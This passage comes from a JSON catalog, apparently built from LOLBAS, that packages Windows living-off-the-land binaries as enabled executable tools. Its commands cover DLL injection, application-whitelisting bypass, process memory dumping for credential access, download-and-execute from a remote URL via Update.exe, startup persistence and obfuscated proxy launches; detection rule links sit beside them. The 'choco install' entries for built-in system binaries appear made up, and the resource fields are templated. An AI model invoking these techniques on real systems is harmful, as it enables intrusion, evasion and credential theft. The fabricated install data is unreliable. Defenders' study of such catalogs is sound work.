    }
  },
  {
    "_body": "\n# te\n\nte is a Windows LOLBin. Testing tool included with Microsoft Test Authoring and Execution Framework (TAEF). Located at: no default.\n",
    "_source": "te.md",
    "allowed-tools": [
      "te"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Testing tool included with Microsoft Test Authoring and Execution Framework (TAEF). Located at: no default.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_susp_use_of_te_bin.yml"
      }
    ],
    "examples": [
      {
        "description": "Run COM Scriptlets (e.g. VBScript) by calling a Windows Script Component (WSC) file. (Execute Visual Basic script stored in local Windows Script Component file.)",
        "command": "te.exe {PATH:.wsc}"
      },
      {
        "description": "Execute commands from a DLL file with Test Authoring and Execution Framework (TAEF) tests. See resources section for required structures. (Execute DLL file.)",
        "command": "te.exe {PATH:.dll}"
      }
    ],
    "execution": {
      "template": "te",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-te",
    "install": [
      {
        "method": "choco",
        "package_name": "te",
        "commands": [
          "choco install te"
        ]
      }
    ],
    "mitre_ids": [
      "T1127"
    ],
    "name": "te",
    "namespace": "windows:execution:te",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "927680266390384640",
        "url": "https://twitter.com/gn3mes1s/status/927680266390384640"
      },
      {
        "label": "359",
        "url": "https://github.com/LOLBAS-Project/LOLBAS/pull/359"
      },
      {
        "label": "authoring-tests",
        "url": "https://learn.microsoft.com/en-us/windows-hardware/drivers/taef/authoring-tests"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# teams\n\nteams is a Windows LOLBin. Electron runtime binary which runs the Teams application Located at: C:\\Users\\<username>\\AppData\\Local\\Microsoft\\Teams\\current\\Teams.exe.\n",
    "_source": "teams.md",
    "allowed-tools": [
      "teams"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Andrew Kisliakov",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Electron runtime binary which runs the Teams application Located at: C:\\Users\\<username>\\AppData\\Local\\Microsoft\\Teams\\current\\Teams.exe.",
    "detections": [
      {
        "type": "ioc",
        "description": "%LOCALAPPDATA%\\Microsoft\\Teams\\current\\app directory created"
      },
      {
        "type": "ioc",
        "description": "%LOCALAPPDATA%\\Microsoft\\Teams\\current\\app.asar file created/modified by non-Teams installer/updater"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/43277f26fc1c81fc98fc79147b711189e901b757/rules/windows/process_creation/proc_creation_win_susp_electron_exeuction_proxy.yml"
      }
    ],
    "examples": [
      {
        "description": "Generate JavaScript payload and package.json, and save to \"%LOCALAPPDATA%\\\\Microsoft\\\\Teams\\\\current\\\\app\\\\\" before executing. (Execute JavaScript code)",
        "command": "teams.exe"
      },
      {
        "description": "Generate JavaScript payload and package.json, archive in ASAR file and save to \"%LOCALAPPDATA%\\\\Microsoft\\\\Teams\\\\current\\\\app.asar\" before executing. (Execute JavaScript code)",
        "command": "teams.exe"
      },
      {
        "description": "Teams spawns cmd.exe as a child process of teams.exe and executes the ping command (Executes a process under a trusted Microsoft signed binary)",
        "command": "teams.exe --disable-gpu-sandbox --gpu-launcher=\"{CMD} &&\""
      }
    ],
    "execution": {
      "template": "teams",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {},
    "id": "windows-execution-teams",
    "install": [
      {
        "method": "choco",
        "package_name": "teams",
        "commands": [
          "choco install teams"
        ]
      }
    ],
    "mitre_ids": [
      "T1218.015"
    ],
    "name": "teams",
    "namespace": "windows:execution:teams",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://l--k.uk/2022/01/16/microsoft-teams-and-other-electron-apps-as-lolbins/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# tracker\n\ntracker is a Windows LOLBin. Tool included with Microsoft .Net Framework. Located at: no default.\n",
    "_source": "tracker.md",
    "allowed-tools": [
      "tracker"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command",
      "security.defense-evasion.bypass"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Tool included with Microsoft .Net Framework. Located at: no default.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_tracker.yml"
      }
    ],
    "examples": [
      {
        "description": "Use tracker.exe to proxy execution of an arbitrary DLL into another process. Since tracker.exe is also signed it can be used to bypass application whitelisting solutions. (Injection of locally stored DLL file into target process.)",
        "command": "Tracker.exe /d {PATH:.dll} /c C:\\Windows\\write.exe"
      },
      {
        "description": "Use tracker.exe to proxy execution of an arbitrary DLL into another process. Since tracker.exe is also signed it can be used to bypass application whitelisting solutions. (Injection of locally stored DLL file into target process.)",
        "command": "Tracker.exe /d {PATH:.dll} /c C:\\Windows\\write.exe"
      }
    ],
    "execution": {
      "template": "tracker",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-execution-tracker",
    "install": [
      {
        "method": "choco",
        "package_name": "tracker",
        "commands": [
          "choco install tracker"
        ]
      }
    ],
    "mitre_ids": [
      "T1127"
    ],
    "name": "tracker",
    "namespace": "windows:execution:tracker",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "793151392185589760",
        "url": "https://twitter.com/subTee/status/793151392185589760"
      },
      {
        "label": "Execution",
        "url": "https://attack.mitre.org/wiki/Execution"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# ttdinject\n\nttdinject is a Windows LOLBin. Used by Windows 1809 and newer to Debug Time Travel (Underlying call of tttracer.exe) Located at: C:\\Windows\\System32\\ttdinject.exe; C:\\Windows\\Syswow64\\ttdinject.exe.\n",
    "_source": "ttdinject.md",
    "allowed-tools": [
      "ttdinject"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Maxime Nadeau",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Used by Windows 1809 and newer to Debug Time Travel (Underlying call of tttracer.exe) Located at: C:\\Windows\\System32\\ttdinject.exe; C:\\Windows\\Syswow64\\ttdinject.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/create_remote_thread/create_remote_thread_win_ttdinjec.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/7ea6ed3db65e0bd812b051d9bb4fffd27c4c4d0a/rules/windows/process_creation/proc_creation_win_lolbin_ttdinject.yml"
      },
      {
        "type": "ioc",
        "description": "Parent child relationship. Ttdinject.exe parent for executed command"
      },
      {
        "type": "ioc",
        "description": "Multiple queries made to the IFEO registry key of an untrusted executable (Ex. \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\payload.exe\") from the ttdinject.exe process"
      }
    ],
    "examples": [
      {
        "description": "Execute a program using ttdinject.exe. Requires administrator privileges. A log file will be created in tmp.run. The log file can be changed, but the length (7) has to be updated. (Spawn process using other binary)",
        "command": "TTDInject.exe /ClientParams \"7 tmp.run 0 0 0 0 0 0 0 0 0 0\" /Launch \"{PATH:.exe}\""
      },
      {
        "description": "Execute a program using ttdinject.exe. Requires administrator privileges. A log file will be created in tmp.run. The log file can be changed, but the length (7) has to be updated. (Spawn process using other binary)",
        "command": "ttdinject.exe /ClientScenario TTDRecorder /ddload 0 /ClientParams \"7 tmp.run 0 0 0 0 0 0 0 0 0 0\" /launch \"{PATH:.exe}\""
      }
    ],
    "execution": {
      "template": "ttdinject",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-execution-ttdinject",
    "install": [
      {
        "method": "choco",
        "package_name": "ttdinject",
        "commands": [
          "choco install ttdinject"
        ]
      }
    ],
    "mitre_ids": [
      "T1127"
    ],
    "name": "ttdinject",
    "namespace": "windows:execution:ttdinject",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1196333160470138880",
        "url": "https://twitter.com/Oddvarmoe/status/1196333160470138880"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# tttracer\n\ntttracer is a Windows LOLBin. Used by Windows 1809 and newer to Debug Time Travel Located at: C:\\Windows\\System32\\tttracer.exe; C:\\Windows\\SysWOW64\\tttracer.exe.\n",
    "_source": "tttracer.md",
    "allowed-tools": [
      "tttracer"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "security.execution.command",
      "credential.dump"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Used by Windows 1809 and newer to Debug Time Travel Located at: C:\\Windows\\System32\\tttracer.exe; C:\\Windows\\SysWOW64\\tttracer.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_tttracer_mod_load.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/image_load/image_load_tttracer_mod_load.yml"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/5bdf70e72c6cd4547624c521108189af994af449/rules/windows/credential_access_cmdline_dump_tool.toml"
      },
      {
        "type": "ioc",
        "description": "Parent child relationship. Tttracer parent for executed command"
      }
    ],
    "examples": [
      {
        "description": "Execute specified executable from tttracer.exe. Requires administrator privileges. (Spawn process using other binary)",
        "command": "tttracer.exe {PATH_ABSOLUTE:.exe}"
      },
      {
        "description": "Dumps process using tttracer.exe. Requires administrator privileges (Dump process by PID)",
        "command": "TTTracer.exe -dumpFull -attach {PID}"
      }
    ],
    "execution": {
      "template": "tttracer",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-tttracer",
    "install": [
      {
        "method": "choco",
        "package_name": "tttracer",
        "commands": [
          "choco install tttracer"
        ]
      }
    ],
    "mitre_ids": [
      "T1127",
      "T1003"
    ],
    "name": "tttracer",
    "namespace": "windows:execution:tttracer",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1191329746069655553",
        "url": "https://twitter.com/oulusoyum/status/1191329746069655553"
      },
      {
        "label": "1196390321783025666",
        "url": "https://twitter.com/mattifestation/status/1196390321783025666"
      },
      {
        "label": "002877.html",
        "url": "https://lists.samba.org/archive/cifs-protocol/2016-April/002877.html"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "critical",
    "techniques": [
      "execution",
      "defense-evasion",
      "credential-access"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# unregmp2\n\nunregmp2 is a Windows LOLBin. Microsoft Windows Media Player Setup Utility Located at: C:\\Windows\\System32\\unregmp2.exe; C:\\Windows\\SysWOW64\\unregmp2.exe.\n",
    "_source": "unregmp2.md",
    "allowed-tools": [
      "unregmp2"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Wade Hickey",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Microsoft Windows Media Player Setup Utility Located at: C:\\Windows\\System32\\unregmp2.exe; C:\\Windows\\SysWOW64\\unregmp2.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/197615345b927682ab7ad7fa3c5f5bb2ed911eed/rules/windows/process_creation/proc_creation_win_lolbin_unregmp2.yml"
      },
      {
        "type": "ioc",
        "description": "Low-prevalence binaries, with filename 'wmpnscfg.exe', spawned as child-processes of `unregmp2.exe /HideWMP`"
      }
    ],
    "examples": [
      {
        "description": "Allows an attacker to copy a target binary to a controlled directory and modify the 'ProgramW6432' environment variable to point to that controlled directory, then execute 'unregmp2.exe' with argument '/HideWMP' which will spawn a process at the hijacked path '%ProgramW6432%\\wmpnscfg.exe'. (Proxy execution of binary)",
        "command": "rmdir %temp%\\lolbin /s /q 2>nul & mkdir \"%temp%\\lolbin\\Windows Media Player\" & copy C:\\Windows\\System32\\calc.exe \"%temp%\\lolbin\\Windows Media Player\\wmpnscfg.exe\" >nul && cmd /V /C \"set \"ProgramW6432=%temp%\\lolbin\" && unregmp2.exe /HideWMP\""
      }
    ],
    "execution": {
      "template": "unregmp2",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-unregmp2",
    "install": [
      {
        "method": "choco",
        "package_name": "unregmp2",
        "commands": [
          "choco install unregmp2"
        ]
      }
    ],
    "mitre_ids": [
      "T1202"
    ],
    "name": "unregmp2",
    "namespace": "windows:execution:unregmp2",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1466588365336293385",
        "url": "https://twitter.com/notwhickey/status/1466588365336293385"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# update\n\nupdate is a Windows LOLBin. Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation. Located at: C:\\Users\\<username>\\AppData\\Local\\Microsoft\\Teams\\update.exe.\n",
    "_source": "update.md",
    "allowed-tools": [
      "update"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Oddvar Moe",
    "capabilities": [
      "network.transfer.download",
      "security.defense-evasion.bypass",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "network_traffic",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation. Located at: C:\\Users\\<username>\\AppData\\Local\\Microsoft\\Teams\\update.exe.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_squirrel.yml"
      },
      {
        "type": "ioc",
        "description": "Update.exe spawned an unknown process"
      }
    ],
    "examples": [
      {
        "description": "The above binary will go to url and look for RELEASES file and download the nuget package. (Download binary)",
        "command": "Update.exe --download {REMOTEURL}"
      },
      {
        "description": "The above binary will go to url and look for RELEASES file, download and install the nuget package. (Download and execute binary)",
        "command": "Update.exe --update={REMOTEURL}"
      },
      {
        "description": "The above binary will go to url and look for RELEASES file, download and install the nuget package. (Download and execute binary)",
        "command": "Update.exe --update={REMOTEURL}"
      },
      {
        "description": "The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA. (Download and execute binary)",
        "command": "Update.exe --update={PATH_SMB:folder}"
      },
      {
        "description": "The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA. (Download and execute binary)",
        "command": "Update.exe --update={PATH_SMB:folder}"
      },
      {
        "description": "The above binary will go to url and look for RELEASES file, download and install the nuget package. (Download and execute binary)",
        "command": "Update.exe --updateRollback={REMOTEURL}"
      },
      {
        "description": "The above binary will go to url and look for RELEASES file, download and install the nuget package. (Download and execute binary)",
        "command": "Update.exe --updateRollback={REMOTEURL}"
      },
      {
        "description": "Copy your payload into %userprofile%\\AppData\\Local\\Microsoft\\Teams\\current\\. Then run the command. Update.exe will execute the file you copied. (Application Whitelisting Bypass)",
        "command": "Update.exe --processStart {PATH:.exe} --process-start-args \"{CMD:args}\""
      },
      {
        "description": "The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA. (Download and execute binary)",
        "command": "Update.exe --updateRollback={PATH_SMB:folder}"
      },
      {
        "description": "The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA. (Download and execute binary)",
        "command": "Update.exe --updateRollback={PATH_SMB:folder}"
      },
      {
        "description": "Copy your payload into %userprofile%\\AppData\\Local\\Microsoft\\Teams\\current\\. Then run the command. Update.exe will execute the file you copied. (Execute binary)",
        "command": "Update.exe --processStart {PATH:.exe} --process-start-args \"{CMD:args}\""
      },
      {
        "description": "Copy your payload into \"%localappdata%\\Microsoft\\Teams\\current\\\". Then run the command. Update.exe will create a shortcut to the specified executable in \"%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\". Then payload will run on every login of the user who runs it. (Execute binary)",
        "command": "Update.exe --createShortcut={PATH:.exe} -l=Startup"
      },
      {
        "description": "Run the command to remove the shortcut created in the \"%appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\" directory you created with the LolBinExecution \"--createShortcut\" described on this page. (Execute binary)",
        "command": "Update.exe --removeShortcut={PATH:.exe}-l=Startup"
      }
    ],
    "execution": {
      "template": "update",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "stealth"
    ],
    "global_vars": {},
    "id": "windows-execution-update",
    "install": [
      {
        "method": "choco",
        "package_name": "update",
        "commands": [
          "choco install update"
        ]
      }
    ],
    "mitre_ids": [
      "T1218",
      "T1547",
      "T1070"
    ],
    "name": "update",
    "namespace": "windows:execution:update",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "watch?v=rOP3hnkj7ls",
        "url": "https://www.youtube.com/watch?v=rOP3hnkj7ls"
      },
      {
        "label": "1144182772623269889",
        "url": "https://twitter.com/reegun21/status/1144182772623269889"
      },
      {
        "label": "1143928885211537408",
        "url": "https://twitter.com/MrUn1k0d3r/status/1143928885211537408"
      },
      {
        "label": "1291005287034281990",
        "url": "https://twitter.com/reegun21/status/1291005287034281990"
      },
      {
        "label": "",
        "url": "http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/"
      },
      {
        "label": "nuget-squirrel-uncontrolled-endpoints-leads-to-arb",
        "url": "https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12"
      },
      {
        "label": "update-nuget-squirrel-uncontrolled-endpoints-leads",
        "url": "https://medium.com/@reegun/update-nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-b55295144b56"
      },
      {
        "label": "",
        "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/microsoft-teams-updater-living-off-the-land/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "exfiltration",
      "defense-evasion",
      "execution",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# url\n\nurl is a Windows LOLBin. Internet Shortcut Shell Extension DLL. Located at: c:\\windows\\system32\\url.dll; c:\\windows\\syswow64\\url.dll.\n",
    "_source": "url.md",
    "allowed-tools": [
      "url"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "LOLBAS Team",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Internet Shortcut Shell Extension DLL. Located at: c:\\windows\\system32\\url.dll; c:\\windows\\syswow64\\url.dll.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_rundll32_susp_activity.yml"
      }
    ],
    "examples": [
      {
        "description": "Launch a HTML application payload by calling OpenURL. (Invoke an HTML Application via mshta.exe (Default Handler).)",
        "command": "rundll32.exe url.dll,OpenURL {PATH_ABSOLUTE:.hta}"
      },
      {
        "description": "Launch an executable payload via proxy through a .url (information) file by calling OpenURL. (Load an executable payload by calling a .url file.)",
        "command": "rundll32.exe url.dll,OpenURL {PATH_ABSOLUTE:.url}"
      },
      {
        "description": "Launch an executable by calling OpenURL. (Load an executable payload by specifying the file protocol handler (obfuscated).)",
        "command": "rundll32.exe url.dll,OpenURL file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e"
      },
      {
        "description": "Launch an executable by calling FileProtocolHandler. (Launch an executable.)",
        "command": "rundll32.exe url.dll,FileProtocolHandler {PATH_ABSOLUTE:.exe}"
      },
      {
        "description": "Launch an executable by calling FileProtocolHandler. (Load an executable payload by specifying the file protocol handler (obfuscated).)",
        "command": "rundll32.exe url.dll,FileProtocolHandler file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e"
      },
      {
        "description": "Launch a HTML application payload by calling FileProtocolHandler. (Invoke an HTML Application via mshta.exe (Default Handler).)",
        "command": "rundll32.exe url.dll,FileProtocolHandler file:///C:/test/test.hta"
      }
    ],
    "execution": {
      "template": "url",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "pipes-stdin",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "windows-execution-url",
    "install": [
      {
        "method": "choco",
        "package_name": "url",
        "commands": [
          "choco install url"
        ]
      }
    ],
    "mitre_ids": [
      "T1218.011"
    ],
    "name": "url",
    "namespace": "windows:execution:url",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "",
        "url": "https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/"
      },
      {
        "label": "995348436353470465",
        "url": "https://twitter.com/DissectMalware/status/995348436353470465"
      },
      {
        "label": "974043815655956481",
        "url": "https://twitter.com/bohops/status/974043815655956481"
      },
      {
        "label": "997355558070927360",
        "url": "https://twitter.com/yeyint_mth/status/997355558070927360"
      },
      {
        "label": "974063407321223168",
        "url": "https://twitter.com/Hexacorn/status/974063407321223168"
      },
      {
        "label": "url_dll.html",
        "url": "https://windows10dll.nirsoft.net/url_dll.html"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# utilityfunctions\n\nutilityfunctions is a Windows LOLBin. PowerShell Diagnostic Script Located at: C:\\Windows\\diagnostics\\system\\Networking\\UtilityFunctions.ps1.\n",
    "_source": "utilityfunctions.md",
    "allowed-tools": [
      "utilityfunctions"
    ],
    "architectures": [
      "amd64"
    ],
    "artifacts": [],
    "author": "Jimmy (@bohops)",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "PowerShell Diagnostic Script Located at: C:\\Windows\\diagnostics\\system\\Networking\\UtilityFunctions.ps1.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/0.21-688-gd172b136b/rules/windows/process_creation/proc_creation_win_lolbas_utilityfunctions.yml"
      }
    ],
    "examples": [
      {
        "description": "Proxy execute Managed DLL with PowerShell (Execute proxied payload with Microsoft signed binary)",
        "command": "powershell.exe -ep bypass -command \"set-location -path c:\\windows\\diagnostics\\system\\networking; import-module .\\UtilityFunctions.ps1; RegSnapin ..\\..\\..\\..\\temp\\unsigned.dll;[Program.Class]::Main()\""
      }
    ],
    "execution": {
      "template": "utilityfunctions",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "network-intensive",
      "pipes-stdin",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {},
    "id": "windows-execution-utilityfunctions",
    "install": [
      {
        "method": "choco",
        "package_name": "utilityfunctions",
        "commands": [
          "choco install utilityfunctions"
        ]
      }
    ],
    "mitre_ids": [
      "T1216"
    ],
    "name": "utilityfunctions",
    "namespace": "windows:execution:utilityfunctions",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "1441003666274668546",
        "url": "https://twitter.com/nickvangilder/status/1441003666274668546"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# verclsid\n\nverclsid is a Windows LOLBin. Used to verify a COM object before it is instantiated by Windows Explorer Located at: C:\\Windows\\System32\\verclsid.exe; C:\\Windows\\SysWOW64\\verclsid.exe.\n",
    "_source": "verclsid.md",
    "allowed-tools": [
